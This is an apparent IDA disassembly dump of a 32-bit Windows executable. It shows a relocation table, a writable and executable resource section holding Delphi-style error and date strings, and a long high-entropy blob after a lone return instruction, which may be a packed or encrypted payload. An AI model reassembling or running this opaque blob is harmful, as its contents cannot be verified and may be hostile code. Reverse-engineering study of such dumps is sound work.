		dd 3ACC3AC4h, 3AD83AD0h, 3AE43ADCh, 3AF03AE8h, 3AFC3AF4h
		dd 3B083B00h, 3B143B0Ch, 3B203B18h, 3B2C3B24h, 3B383B30h
		dd 3B443B3Ch, 3B503B48h, 3B5C3B54h, 3B683B60h, 3B743B6Ch
		dd 3B803B78h
		dd 3B8C3B84h, 3B9F3B90h, 3BB63BABh, 3BD53BCAh, 3BEA3BDFh
		dd 3BFF3BF4h, 3C133C09h, 3C233C19h, 3C333C29h, 3C483C3Eh
		dd 3C5D3C53h, 3C723C68h, 3C873C7Dh, 3C9C3C92h, 3CB03CA6h
		dd 3CC43CBAh, 3CD83CCEh, 3CEC3CE2h, 3D083CF6h, 3D2B3D1Fh
		dd 3D3D3D33h, 3D503D48h, 3D7B3D55h, 3DC43D9Ah, 3E893E4Ch
		dd 3F473F1Ah, 3F603F53h, 3F7A3F72h, 3F8C3F82h, 3FCEh, 7000h
		dd 124h, 3057301Ch, 30DA30A3h, 314C3141h, 3186315Fh, 31CF31ABh
		dd 321831F3h, 3262323Dh, 33163287h, 34CC3493h, 361A360Fh
		dd 36473629h, 36A43662h, 378D3782h, 37BA379Ch, 37F137D6h
		dd 3829380Dh, 38643845h, 387E386Fh, 399838A3h, 3A4039F7h
		dd 3AFF3A9Dh, 3B243B12h, 3B2C3B28h, 3B343B30h, 3B3C3B38h
		dd 3B443B40h, 3B4C3B48h, 3B543B50h, 3B5C3B58h, 3B643B60h
		dd 3B833B6Ch, 3B9B3B90h, 3BAA3BA5h, 3BBC3BB4h, 3BDF3BCFh
		dd 3BFA3BF2h, 3C153C02h, 3C253C1Dh, 3C403C38h, 3C4A3C45h
		dd 3C623C5Dh, 3C793C6Ah, 3C9A3C95h, 3CB03CA4h, 3CCA3CC4h
		dd 3CE33CD4h, 3CF93CEEh, 3D2F3D20h, 3D463D3Ch, 3D613D4Bh
		dd 3D733D6Eh, 3D913D80h, 3DAB3D9Eh, 3DBD3DB0h, 3DDB3DCEh
		dd 3DED3DE0h, 3E0B3E06h, 3E233E18h, 3E603E2Fh, 3E7D3E6Dh
		dd 3E9D3E82h, 3EB23EA2h, 3EC63EB7h, 3EF13EE4h, 3F053EF6h
		dd 3F253F1Ah, 3F4F3F2Dh, 3F8B3F72h, 3FA03F9Bh, 3FAC3FA7h
		dd 3FC03FB3h, 9000h, 150h, 302C3028h, 30343030h, 303C3038h
		dd 30483040h, 3050304Ch, 30E83090h, 30F430F0h, 30FC30F8h
		dd 31143110h, 311C3118h, 31243120h, 312C3128h, 31343130h
		dd 313C3138h, 31443140h, 314C3148h, 31543150h, 315C3158h
		dd 31643160h, 316C3168h, 31743170h, 317C3178h, 31843180h
		dd 318C3188h, 31943190h, 319C3198h, 31A431A0h, 31E831E0h
		dd 31F831F0h, 32083200h, 32183210h, 32283220h, 32383230h
		dd 32483240h, 32583250h, 32683260h, 32783270h, 32883280h
		dd 32BC32B8h, 32C432C0h, 32CC32C8h, 32D432D0h, 32DC32D8h
		dd 32E432E0h, 32EC32E8h, 32F432F0h, 32FC32F8h, 33043300h
		dd 330C3308h, 33143310h, 331C3318h, 33243320h, 332C3328h
		dd 33343330h, 333C3338h, 33443340h, 334C3348h, 33543350h
		dd 335C3358h, 33643360h, 336C3368h, 33743370h, 337C3378h
		dd 33843380h, 338C3388h, 33943390h, 339C3398h, 33A433A0h
		dd 33AC33A8h, 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h
		dd 33D433D0h, 33DC33D8h, 33E433E0h, 33EC33E8h, 33F433F0h
		dd 33FC33F8h, 34043400h, 340C3408h, 34143410h, 0D000h
		dd 14h,	30043000h, 300C3008h, 0
		align 200h
_reloc		ends

; Section 8. (virtual address 0000F000)
; Virtual size			: 00019A00 ( 104960.)
; Section size in file		: 00019A00 ( 104960.)
; Offset to raw	data for section: 0000F000
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 40F000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4, 20000h, 6, 80000020h, 0Ah, 80000058h, 2 dup(0)
		dd 4, 50000h, 0FFCh, 80000088h,	0FFDh, 800000A0h, 0FFEh
		dd 800000B8h, 0FFFh, 800000D0h,	1000h, 800000E8h, 2 dup(0)
		dd 2 dup(4), 800001F0h,	80000100h, 800001F8h, 80000118h
		dd 80000206h, 80000130h, 80000210h, 80000148h, 2 dup(0)
		dd 4, 10000h, 0
		dd 160h, 2 dup(0)
		dd 4, 10000h, 0
		dd 170h, 2 dup(0)
		dd 4, 10000h, 0
		dd 180h, 2 dup(0)
		dd 4, 10000h, 0
		db 90h
		db 1, 2	dup(0)
		align 10h
		dd 4, 10000h, 0
		dd 1A0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1B0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1C0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1D0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1E0h, 0F228h, 0DCh, 4E4h, 0
		dd 0F304h, 0E4h, 4E4h, 0
		dd 0F3E8h, 234h, 4E4h, 0
		dd 0F61Ch, 378h, 4E4h, 0
		dd 0F994h, 2A0h, 4E4h, 0
		dd 0FC34h, 0AA58h, 4E4h, 0
		dd 1A68Ch, 10h,	4E4h, 0
		dd 1A69Ch, 103h, 4E4h, 0
		dd 1A7A0h, 6Ch,	4E4h, 0
		dd 430003h, 310046h, 440006h, 430056h, 41004Ch,	4004Ch
		dd 4E0049h, 4F0046h, 50000Bh, 430041h, 41004Bh,	450047h
		dd 4E0049h, 4F0046h, 440008h, 630065h, 6D0065h,	650062h
		dd 30072h, 750053h, 3006Eh, 6F004Dh, 3006Eh, 750054h, 30065h
		dd 650057h, 30064h, 680054h, 30075h, 720046h, 30069h, 610053h
		dd 60074h, 750053h, 64006Eh, 790061h, 4D0006h, 6E006Fh
		dd 610064h, 70079h, 750054h, 730065h, 610064h, 90079h
		dd 650057h, 6E0064h, 730065h, 610064h, 80079h, 680054h
		dd 720075h, 640073h, 790061h, 460006h, 690072h,	610064h
		dd 80079h, 610053h, 750074h, 640072h, 790061h, 8 dup(0)
		dd offset byte_410003
		dd 670075h, 530003h, 700065h, 4F0003h, 740063h,	4E0003h
		dd 76006Fh, 440003h, 630065h, 4A0007h, 6E0061h,	610075h
		dd 790072h, 460008h, 620065h, 750072h, 720061h,	50079h
		dd 61004Dh, 630072h, 50068h, 700041h, 690072h, 3006Ch
		dd 61004Dh, 40079h, 75004Ah, 65006Eh, 4A0004h, 6C0075h
		dd 60079h, 750041h, 750067h, 740073h, 530009h, 700065h
		dd 650074h, 62006Dh, 720065h, 4F0007h, 740063h,	62006Fh
		dd 720065h, 4E0008h, 76006Fh, 6D0065h, 650062h,	72h, 8 dup(0)
		dd 490019h, 76006Eh, 6C0061h, 640069h, 760020h,	720061h
		dd 610069h, 74006Eh, 6F0020h, 650070h, 610072h,	690074h
		dd 6E006Fh, 560017h, 720061h, 610069h, 74006Eh,	690020h
		dd 200073h, 6F006Eh, 200074h, 6E0061h, 610020h,	720072h
		dd 790061h, 450015h, 740078h, 720065h, 61006Eh,	20006Ch
		dd 780065h, 650063h, 740070h, 6F0069h, 20006Eh,	780025h
		dd 410010h, 730073h, 720065h, 690074h, 6E006Fh,	660020h
		dd 690061h, 65006Ch, 170064h, 6E0049h, 650074h,	660072h
		dd 630061h, 200065h, 6F006Eh, 200074h, 750073h,	700070h
		dd 72006Fh, 650074h, 1C0064h, 780045h, 650063h,	740070h
		dd 6F0069h, 20006Eh, 6E0069h, 730020h, 660061h,	630065h
		dd 6C0061h, 20006Ch, 65006Dh, 680074h, 64006Fh,	250010h
		dd 200073h, 250028h, 2C0073h, 6C0020h, 6E0069h,	200065h
		dd 640025h, 0E0029h, 620041h, 740073h, 610072h,	740063h
		dd 450020h, 720072h, 72006Fh, 41003Fh, 630063h,	730065h
		dd 200073h, 690076h, 6C006Fh, 740061h, 6F0069h,	20006Eh
		dd 740061h, 610020h, 640064h, 650072h, 730073h,	250020h
		dd 200070h, 6E0069h, 6D0020h, 64006Fh, 6C0075h,	200065h
		dd 250027h, 270073h, 20002Eh, 730025h, 6F0020h,	200066h
		dd 640061h, 720064h, 730065h, 200073h, 700025h,	4A0003h
		dd 6E0061h, 460003h, 620065h, 4D0003h, 720061h,	410003h
		dd 720070h, 4D0003h, 790061h, 4A0003h, 6E0075h,	4A0003h
		dd 6C0075h, 8 dup(0)
		dd 490019h, 76006Eh, 6C0061h, 640069h, 700020h,	69006Fh
		dd 74006Eh, 720065h, 6F0020h, 650070h, 610072h,	690074h
		dd 6E006Fh, 490016h, 76006Eh, 6C0061h, 640069h,	630020h
		dd 61006Ch, 730073h, 740020h, 700079h, 630065h,	730061h
		dd 300074h, 630041h, 650063h, 730073h, 760020h,	6F0069h
		dd 61006Ch, 690074h, 6E006Fh, 610020h, 200074h,	640061h
		dd 720064h, 730065h, 200073h, 700025h, 20002Eh,	730025h
		dd 6F0020h, 200066h, 640061h, 720064h, 730065h,	200073h
		dd 700025h, 53000Eh, 610074h, 6B0063h, 6F0020h,	650076h
		dd 660072h, 6F006Ch, 0D0077h, 6F0043h, 74006Eh,	6F0072h
		dd 2D006Ch, 200043h, 690068h, 160074h, 720050h,	760069h
		dd 6C0069h, 670065h, 640065h, 690020h, 73006Eh,	720074h
		dd 630075h, 690074h, 6E006Fh, 450028h, 630078h,	700065h
		dd 690074h, 6E006Fh, 250020h, 200073h, 6E0069h,	6D0020h
		dd 64006Fh, 6C0075h, 200065h, 730025h, 610020h,	200074h
		dd 700025h, 0D002Eh, 25000Ah, 250073h, 0D0073h,	11000Ah
		dd 700041h, 6C0070h, 630069h, 740061h, 6F0069h,	20006Eh
		dd 720045h, 6F0072h, 310072h, 6F0046h, 6D0072h,	740061h
		dd 270020h, 730025h, 200027h, 6E0069h, 610076h,	69006Ch
		dd 200064h, 72006Fh, 690020h, 63006Eh, 6D006Fh,	610070h
		dd 690074h, 6C0062h, 200065h, 690077h, 680074h,	610020h
		dd 670072h, 6D0075h, 6E0065h, 1B0074h, 6F004Eh,	610020h
		dd 670072h, 6D0075h, 6E0065h, 200074h, 6F0066h,	200072h
		dd 6F0066h, 6D0072h, 740061h, 270020h, 730025h,	220027h
		dd 610056h, 690072h, 6E0061h, 200074h, 65006Dh,	680074h
		dd 64006Fh, 630020h, 6C0061h, 73006Ch, 6E0020h,	74006Fh
		dd 730020h, 700075h, 6F0070h, 740072h, 640065h,	520004h
		dd 610065h, 50064h, 720057h, 740069h, 1C0065h, 720045h
		dd 6F0072h, 200072h, 720063h, 610065h, 690074h,	67006Eh
		dd 760020h, 720061h, 610069h, 74006Eh, 610020h,	720072h
		dd 790061h, 560021h, 720061h, 610069h, 74006Eh,	610020h
		dd 720072h, 790061h, 690020h, 64006Eh, 780065h,	6F0020h
		dd 740075h, 6F0020h, 200066h, 6F0062h, 6E0075h,	730064h
		dd 49001Fh, 76006Eh, 6C0061h, 640069h, 760020h,	720061h
		dd 610069h, 74006Eh, 740020h, 700079h, 200065h,	6F0063h
		dd 76006Eh, 720065h, 690073h, 6E006Fh, 8 dup(0)
aOutOfMemory:
		dw 0Dh
		unicode	0, <Out	of memory>
		dd 49000Ch, 4F002Fh, 650020h, 720072h, 72006Fh,	250020h
		dd 0E0064h, 690046h, 65006Ch, 6E0020h, 74006Fh,	660020h
		dd 75006Fh, 64006Eh, 490010h, 76006Eh, 6C0061h,	640069h
		dd 660020h, 6C0069h, 6E0065h, 6D0061h, 130065h,	6F0054h
		dd 20006Fh, 61006Dh, 79006Eh, 6F0020h, 650070h,	20006Eh
		dd 690066h, 65006Ch, 120073h, 690046h, 65006Ch,	610020h
		dd 630063h, 730065h, 200073h, 650064h, 69006Eh,	640065h
		dd 520017h, 610065h, 200064h, 650062h, 6F0079h,	64006Eh
		dd 650020h, 64006Eh, 6F0020h, 200066h, 690066h,	65006Ch
		dd 440009h, 730069h, 20006Bh, 750066h, 6C006Ch,	490015h
		dd 76006Eh, 6C0061h, 640069h, 6E0020h, 6D0075h,	720065h
		dd 630069h, 690020h, 70006Eh, 740075h, 440010h,	760069h
		dd 730069h, 6F0069h, 20006Eh, 790062h, 7A0020h,	720065h
		dd 11006Fh, 610052h, 67006Eh, 200065h, 680063h,	630065h
		dd 20006Bh, 720065h, 6F0072h, 100072h, 6E0049h,	650074h
		dd 650067h, 200072h, 76006Fh, 720065h, 6C0066h,	77006Fh
		dd 490020h, 76006Eh, 6C0061h, 640069h, 660020h,	6F006Ch
		dd 740061h, 6E0069h, 200067h, 6F0070h, 6E0069h,	200074h
		dd 70006Fh, 720065h, 740061h, 6F0069h, 1F006Eh,	6C0046h
		dd 61006Fh, 690074h, 67006Eh, 700020h, 69006Fh,	74006Eh
		dd 640020h, 760069h, 730069h, 6F0069h, 20006Eh,	790062h
		dd 7A0020h, 720065h, 17006Fh, 6C0046h, 61006Fh,	690074h
		dd 67006Eh, 700020h, 69006Fh, 74006Eh, 6F0020h,	650076h
		dd 660072h, 6F006Ch, 180077h, 6C0046h, 61006Fh,	690074h
		dd 67006Eh, 700020h, 69006Fh, 74006Eh, 750020h,	64006Eh
		dd 720065h, 6C0066h, 77006Fh, 8	dup(0)
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0DDh, 2 dup(31h)
		dd 8B7E7030h, 343231C1h, 31353431h, 31303034h, 3831E933h
		dd 0E1543171h, 503F3431h, 32313FEBh, 52FE3AE5h,	0FE7D32E9h
		dd 9A998552h, 0A3A151A4h, 92A398A0h, 9294519Eh,	0A5A09F9Fh
		dd 51969351h, 519FA6A3h, 75519F9Ah, 9E518480h, 5F9695A0h
		dd 553B3E3Eh, 968E3831h, 354AF92Eh, 2 dup(354ACCC4h), 4CC8CCC4h
		dd 3542CCB1h, 5516CCC4h, 3549CCB2h, 9A83CCC4h, 354A9994h
		dd 3931CCC4h, 33317681h, 3133327Dh, 0F5F132h, 11393176h
		dd 32403231h, 3D36323Ch, 0DC043D31h, 713C3133h,	31413331h
		dd 33313334h, 35383135h, 0EC753831h, 33333133h,	31333731h
		dd 33314136h, 41353141h, 31413331h, 3C314137h, 3133E8FAh
		dd 0A4315932h, 9492A15Fh, 3195969Ch, 33313334h,	51473141h
		dd 5F913331h, 92817D83h, 32319C94h, 3431DC75h, 32313341h
		dd 3431DC75h, 513F3133h, 31113331h, 0AD35B3Ah, 0DDCD48B9h
		dd 0CEB71C9h, 0B6453B70h, 67C322A1h, 0AB45DD26h, 612F27A2h
		dd 6618FE1Fh, 9BAFBA4Eh, 4C6D734Eh, 157F7AEDh, 214AA68Dh
		dd 41DBE633h, 1F94B77Fh, 60197C61h, 0DE69B1C0h,	85ED8397h
		dd 0D24A873Bh, 0C32353A3h, 0DE7E0D14h, 0DE43574Ch, 0E2C7FAB4h
		dd 3995BFCFh, 0BFFDA0E3h, 2E3F06D8h, 25D42D29h,	0D143666Ah
		dd 766BB841h, 592D0B19h, 0F1A8B0EFh, 907D6E30h,	31F3975Ah
		dd 2D69B932h, 341351BFh, 9646FC1Ch, 82F675A8h, 0CD67459Ah
		dd 0ECDA88CAh, 0CDB0441Ah, 0AA65DBD3h, 0CBD02C90h, 0EFF682F2h
		dd 32222273h, 14CD2215h, 269A2380h, 7FC5DA03h, 0A02F9C81h
		dd 0B73A1BEBh, 0E73AD8FDh, 52075883h, 76F6A2ADh, 68EB8CB4h
		dd 7CB0B616h, 0C5D55951h, 0AD785FE6h, 2F0D9205h, 0E799EAB0h
		dd 1B04D66Fh, 5AB3B28h,	0CF0CD27Ah, 9DCF01E2h, 6DDDF7A5h
		dd 6006CD1Eh, 0CEB74EFFh, 6D2FCA7Fh, 0D7946F6Ah, 0D25C505Bh
		dd 0ECE87B50h, 0B9B484DCh, 6F8BB25Ah, 0B6A026E9h, 76EB249Dh
		dd 780767B0h, 0BBAB8918h, 605D5B86h, 6A393231h,	7336851Ah
		dd 2C07DA80h, 9698B196h, 3A352F9Ah, 0CCD5D962h,	99B528D1h
		dd 8157B653h, 67AE3D3Dh, 89230051h, 89410FC5h, 0A5663F2Fh
		dd 0E5A6F82Bh, 9E93B185h, 3F81992Bh, 0F9F0CEC7h, 9B2CF880h
		dd 5CFBD2F4h, 3F08CA99h, 1F27EE00h, 2B62147Dh, 98F630F5h
		dd 85778496h, 8C37A9F9h, 0A0B3940Dh, 0F9AAA46Ah, 0E625AFF3h
		dd 19E3725Eh, 8E788D15h, 834957E6h, 6CC3BA67h, 77544C68h
		dd 3165888Dh, 2B0E9032h, 5CFEFBFh, 8EC845C0h, 0E436AE7Fh
		dd 0B5100984h, 722DDC76h, 0E1283231h, 0DC2109D7h, 518E2B97h
		dd 24A4ACBEh, 0CE4F3EF1h, 0E89BAD03h, 3759F642h, 1FD719F6h
		dd 2ABDEA82h, 0E9323C0Eh, 4EB8456Fh, 2D1F81F3h,	14EA3D00h
		dd 9D22C12Ah, 7479912Eh, 0C59AC73Ah, 2B95B7E8h,	9ED2FEEBh
		dd 84FC13E7h, 0D91C07B1h, 894A3E7Eh, 6719BB6Eh,	0CC02AF9Ah
		dd 0C0919EC1h, 0BAC2523Eh, 0AFC2E16Fh, 0DDA144Fh, 0A1C59D36h
		dd 1C6C48E2h, 0C0B5C3DCh, 10446135h, 449F1003h,	0FF8B8E2Fh
		dd 28BAFAFEh, 91C9E5D5h, 95956A1Bh, 5E42E993h, 0AEA16703h
		dd 32313CDAh, 68C742C8h, 500CBC0Eh, 5D5EDBB6h, 40B14D6Bh
		dd 83481578h, 1EF53F39h, 633BEFA9h, 74548A0Fh, 4AAAEFEBh
		dd 21E9BB36h, 0FED576E0h, 7611BDE0h, 8CB044ACh,	7FFFF2ECh
		dd 9ABCA213h, 0F0778377h, 61035A15h, 0DDFFAF2Ch, 0D54CDBD8h
		dd 0F58D96FCh, 0A8EDA61Ch, 0EA27FEFh, 97F92C49h, 31D8B543h
		dd 0FC934032h
		db 0BBh, 6Bh, 47h
byte_410003	db 0DAh			; DATA XREF: .rsrc:0040F304o
		dd 209E5D78h, 2B62A762h, 0CB610973h, 16D8CA0h, 9A9DC8C1h
		dd 0C51985C2h, 0DAB07AA0h, 0E0ACCD76h, 8B13F509h, 136D89Dh
		dd 4BAAC3E0h, 0E79CF492h, 0B2265742h, 6DAD7E2Eh, 484AA953h
		dd 435C3542h, 754C75ACh, 0B07AF8E2h, 2FD7E881h,	3378E2BAh
		dd 54133C34h, 0ECA8338Eh, 44DB9C6Ch, 38124AABh,	0D4AD99E0h
		dd 0B0C2C4DEh, 0FE9027F0h, 8C9DD16h, 784EE525h,	0DDB9BCC4h
		dd 0E864BCE2h, 0B04DA579h, 0F67CAE55h, 0F1DEDDF5h, 9574793Ch
		dd 61E8AF03h, 0ECB7D413h, 1FBD8B72h, 1745D996h,	92222570h
		dd 0C2BD646h, 0B6DD1C88h, 0FCD4268Bh, 0DFA14F32h, 0BA663AD3h
		dd 2799C2F0h, 0F15327CAh, 0C526D933h, 0AB21909Bh, 4AC105ABh
		dd 0DD30B84Dh, 5B078BB6h, 3D3C9ED2h, 98F15161h,	88A18351h
		dd 0FBA9C35Fh, 3303A8F4h, 7C34E12Dh, 17996C11h,	0FA544885h
		dd 8ADE57A5h, 5D7CFF2Eh, 0F686CC90h, 0EEFB965h,	3231EDE2h
		dd 454A3274h, 6557B327h, 35F25D55h, 4D15E5D4h, 0F3F224CCh
		dd 78913454h, 2E3C0AD0h, 0BA15E27Ah, 0DE1357B1h, 92CDAF0h
		dd 0C53F4Eh, 7BA7BBEDh,	0FF54A4C0h, 5B7ACA50h, 21B09F18h
		dd 5EEC51D0h, 6947C02Fh, 524F4177h, 174FDEB0h, 0AC5B219h
		dd 0FB694953h, 0B292FBF5h, 0C641C40Eh, 69F18C58h, 0E6B1B0CCh
		dd 0D2F3068Ah, 0E32C0B5Fh, 0D6957BB1h, 11E5AED3h, 1D79BE65h
		dd 62A013D5h, 0E819068Bh, 0B463389Ah, 6D217053h, 0E1C3972Dh
		dd 0DE1B558h, 0D61EA7CDh, 40CD4104h, 0DF1529AAh, 0D05719DFh
		dd 13599EE7h, 24968CE7h, 7D823327h, 58F578F0h, 0D3DFFADBh
		dd 598FCF89h, 8167B17Bh, 14BD071h, 1524F2A5h, 36262234h
		dd 0BAD75E77h, 0D25080DDh, 0D6FA29ECh, 0F25FCF1Dh, 694E1DB4h
		dd 3CAF2F36h, 0CF9FFAD2h, 682EE319h, 68436F09h,	66B2D60Ch
		dd 78362FE9h, 0EEC6635Bh, 5084888Eh, 0DF57E0DCh, 3BC15193h
		dd 3E306882h, 16F573FEh, 0A02C8DD7h, 3599AB6Fh,	0BA1AB31Ah
		dd 215C79C9h, 0BFF45204h, 663A9AB0h, 0E812F504h, 0F75307BCh
		dd 93AC85Dh, 68099DEDh,	65B49624h, 0D1291F27h, 3A3F4BF9h
		dd 4C82C730h, 4B2A6856h, 0B5553DECh, 0F337EE4Ah, 0BF28439Ah
		dd 98B1BE82h, 89F022A3h, 21B9B1F7h, 0E4AF469Eh,	0ABC29C51h
		dd 9876606Eh, 0A9CFFE9Dh, 0B597678Eh, 450CCDC6h, 528971F5h
		dd 5924FC74h, 0B008726h, 657A51ECh, 6FCED38Ch, 104BF9ECh
		dd 0B28AA3DDh, 8DCBE5EDh, 0D471EC83h, 347E88B1h, 6871EAB5h
		dd 0D12E97C3h, 3B1B1F03h, 60B86781h, 0BD7276B1h, 951E2E40h
		dd 6AFBF930h, 74272A21h, 55181990h, 9F1513C6h, 6F79B2AFh
		dd 20A0D159h, 9B9E62CDh, 3EFDD441h, 2E178F74h, 0E1661C74h
		dd 0F612D2DDh, 0CE0DD7B5h, 8C22147Dh, 5E0D6465h, 0CCDE985Ch
		dd 0F36DD952h, 8973E7B4h, 6B690D9Ah, 4E94FF74h,	0ADF7787Ch
		dd 8DEC44AEh, 6B5F4293h, 0BCA9DEDFh, 147E077Ch,	0A743DC3Bh
		dd 70BB9609h, 3FA73FCAh, 0C5898684h, 0D628BB3Ah, 5856D48Ah
		dd 117F0DE6h, 0A4D09A2Bh, 0FB51D35Ch, 0F7BD7EC9h, 0E0AEBB00h
		dd 0CF27BBF9h, 9A116E9h, 0F4C51E04h, 0E4E3E91Bh, 0E954D7E0h
		dd 885004DAh, 48176B68h, 0A35738E5h, 5F61B52h, 687A3CC5h
		dd 5E8BE728h, 33D241EDh, 6E96209Ch, 0B68ED2BAh,	33328DCEh
		dd 19E0EE52h, 0BE0E4ABCh, 8864447Bh, 0F220B68Ah, 7896529Ah
		dd 31F94775h, 7D7F832h,	4A3E1E39h, 0AFE17146h, 5173A6DFh
		dd 0AF04B409h, 808BBF36h, 2733FF63h, 46EDC1D3h,	67B083Fh
		dd 828B3B89h, 92DD52E7h, 0ADB0812Fh, 0CFC43B4h,	0D28829DAh
		dd 1109BC2Eh, 939F634Fh, 6D44882Eh, 9B1245E5h, 0B508B38Fh
		dd 97684CEBh, 0EA4F400Dh, 0FF14B2Dh, 0EDEFA4C8h, 87AA2682h
		dd 29273D32h, 74BE8F44h, 0EA6A490Ah, 39189FD3h,	0D84588Ah
		dd 0BC0A6A82h, 0B36BCEF0h, 7F343B50h, 9C6B6A3Eh, 0E54F7C28h
		dd 52C35930h, 0D2D8A711h, 0A777F7A9h, 0B770850Ah, 60856F1Eh
		dd 227F1507h, 724A9E8Fh, 2AB19C68h, 15452EA7h, 63FCFEA3h
		dd 0F9E6445Ah, 9958A972h, 0D63C61C6h, 92BA135Eh, 6BA6BB24h
		dd 4B79A3A7h, 5B0FE5C4h, 6ADEF78Ah, 0DE531D87h,	7D649A21h
		dd 147EFDF7h, 44A325D0h, 0A9973E48h, 0EBA6F300h, 3D953810h
		dd 0D8856F57h, 0FA3B93CEh, 0F87A1D5Bh, 63CFE4D0h, 61CE442Ah
		dd 5E0DA39Ch, 7EEB55Ah,	536513F4h, 572297B4h, 473D8120h
		dd 82E364C3h, 75E4BF28h, 0D7FDE37Fh, 1606C51Ah,	32312187h
		dd 54A1C3B3h, 0F3B5111Dh, 0E3552A58h, 834277Eh,	4B3508E3h
		dd 0ABDCE129h, 5DAA5C86h, 0A092EC52h, 0E2238271h, 83B50F9Eh
		dd 0D9AEDEF5h, 0DED20FB9h, 0C791307h, 52A8B087h, 77095438h
		dd 732311Eh, 310D5634h,	28962E32h, 0E731B61h, 0B3709760h
		dd 0D300B06Eh, 851CCE49h, 0E9EEE514h, 3A77BCD4h, 4D451E77h
		dd 0EA6A912h, 7C9E9861h, 1EBBA544h, 761D2253h, 380E3E06h
		dd 5D63BC74h, 0CDB0A177h, 711D65B9h, 4570F525h,	8500B8E8h
		dd 805E560Bh, 0F2385789h, 2527758Fh, 81E3BEE0h,	0B68C7080h
		dd 0D110E12Bh, 734A6BA7h, 0F6F4B9h, 28859E2Fh, 0D2A10F4Fh
		dd 3843B9C9h, 3CE4E421h, 5A26F3CBh, 43CA725h, 5C4CB415h
		dd 0CE62FAD0h, 15894882h, 7767AECBh, 95018707h,	0C44F7858h
		dd 0AA8812D0h, 0D2EB48BBh, 0E77D4BB3h, 97EDDBE4h, 0C656DFE9h
		dd 1791786Ch, 0D89D61CBh, 1901B3DDh, 4244EAE0h,	7198B225h
		dd 93DFF1F4h, 5A66AD9Ch, 0FD8CE36Dh, 9A9C43BFh,	3D27C9F5h
		dd 0ECCBEF5h, 0AD8029E6h, 61519AE7h, 630CFB12h,	0CDFA7465h
		dd 650604FBh, 6C82471Ah, 0BC1F00A0h, 0F27FF115h, 0F9EB4F83h
		dd 977B79E9h, 503FB0DDh, 7A9934C3h, 69496FBCh, 6CBDFCE4h
		dd 0E4D9691Fh, 33B957B6h, 60206B5Eh, 110607D1h,	0A36395A4h
		dd 2BBBF769h, 9A61E673h, 0CFCF189Eh, 0BEEDDB09h, 90626BE8h
		dd 73A5581Ah, 0BF391408h, 95AD1E82h, 79135EDEh,	0C1B011BEh
		dd 8D2B8376h, 688A0FA3h, 51D4171Ch, 0E7518075h,	0B43262FEh
		dd 0D7B48E0Bh, 0A93A576Fh, 1AE45D79h, 9CDBBCC9h, 0DE6F69D6h
		dd 0BFFEC8BDh, 59CA84E5h, 19B9430Ah, 2482FF0h, 231088E7h
		dd 0FB3D7C45h, 0F3D91647h, 4E604154h, 0B23884ADh, 0D7152B1h
		dd 0AD4B3FF9h, 0B1FA723Fh, 0DE51A33Eh, 52D8B14Dh, 8229DFC6h
		dd 0DD0D9F8h, 4C2D0241h, 78337404h, 329B34DAh, 39B954E0h
		dd 0A38EF66Bh, 27D7020h, 50B9EC2Bh, 585DA45Fh, 2EB865Ah
		dd 0CDCE191Bh, 9FB36B1Ch, 1FF8FDEEh, 0C5CBD9F4h, 723F358Fh
		dd 70061506h, 4659A4C4h, 0AF94DB4Ah, 55664066h,	0F8A9FDD6h
		dd 1140E933h, 5B93FEC8h, 0ED0D0764h, 0C11E57FEh, 0EAA2D13Fh
		dd 646B512Bh, 0BA8A1AEh, 57840h, 52ED123Dh, 0F954FF9Fh
		dd 2D287871h, 351CE911h, 4AAC4ADBh, 0F90F9A43h,	7B57420Fh
		dd 0F10BDFEh, 735E9323h, 0A8BDD5h, 85196339h, 0BA964D00h
		dd 77120FB4h, 0A9957E8Fh, 7C90C3DAh, 4A4583FBh,	1D87D819h
		dd 72A40BF5h, 0C75B88A2h, 91E558D1h, 45CE341Bh,	0D5682119h
		dd 5D14B358h, 7B751A4Bh, 3F8ED9FEh, 1582F6C1h, 0E1D3666h
		dd 3BE5B1ECh, 81808616h, 7591FD9h, 3F86241Ch, 8AF53BF8h
		dd 0D9ACC355h, 0FD3732ECh, 0AE2ADF23h, 0BC72A234h, 87F06534h
		dd 0DF0D1466h, 15773BA2h, 6EAE6A74h, 2690EDE1h,	8C8E7BB3h
		dd 6CF78548h, 222049Bh,	47BB2A01h, 82D7B211h, 0B45DA0BBh
		dd 0D5FB819Ah, 7B475C98h, 29E9F57Dh, 0F43E4634h, 10EC765Fh
		dd 0DF82D39Fh, 0D7D88AF8h
		dd 32313F8Eh, 4F04880Dh, 7FF476CEh, 105DC91Bh, 54E11C2Fh
		dd 43F9AE2Ch, 71A13FDFh, 51C45829h, 40A429E8h, 0EB3E6D20h
		dd 94F74595h, 0C640BC78h, 0FE76AAC0h, 47537B94h, 3AAC2176h
		dd 7E27D94Eh, 69C0F322h, 0FE3B42E5h, 6BEF1B6Ch,	8DB2FEB9h
		dd 0B3A514C1h, 0EFB055DFh, 6A1C7D0Ah, 0AF6ECCEDh, 0FD372EC3h
		dd 0F59FA249h, 3E274F51h, 4F62B084h, 0CDA7D7FBh, 0FE5C22BAh
		dd 0D784C28Ch, 11024A12h, 509E433h, 7817A38Bh, 51B92BE4h
		dd 0C9A6304Eh, 857BD32Bh, 5F92B3D9h, 7303407h, 7BD41F2Bh
		dd 74EA8E69h, 4397D591h, 0BC7B719Bh, 9C3A7792h,	4301A46h
		dd 4B13EF4Eh, 0AC7E5EFAh, 67BE6F0Bh, 0DFEF8808h, 3FE10CA3h
		dd 66F5229Bh, 0F30949A8h, 0CA3C840h, 395E375h, 2A93DD70h
		dd 2BB70DE5h, 2E68E5CDh, 0DFBFA26Ch, 0FB70E95Ch, 8A320753h
		dd 9D304F73h, 66419ACAh, 2BD6AF98h, 9FA3678Eh, 0A6295BA1h
		dd 0C237EBA8h, 267024C2h, 9684E31Ah, 0D285909Ch, 0C50C689Dh
		dd 0AD4CC79h, 3D768C30h, 0BE101E1Ah, 28663C29h,	722BA7F3h
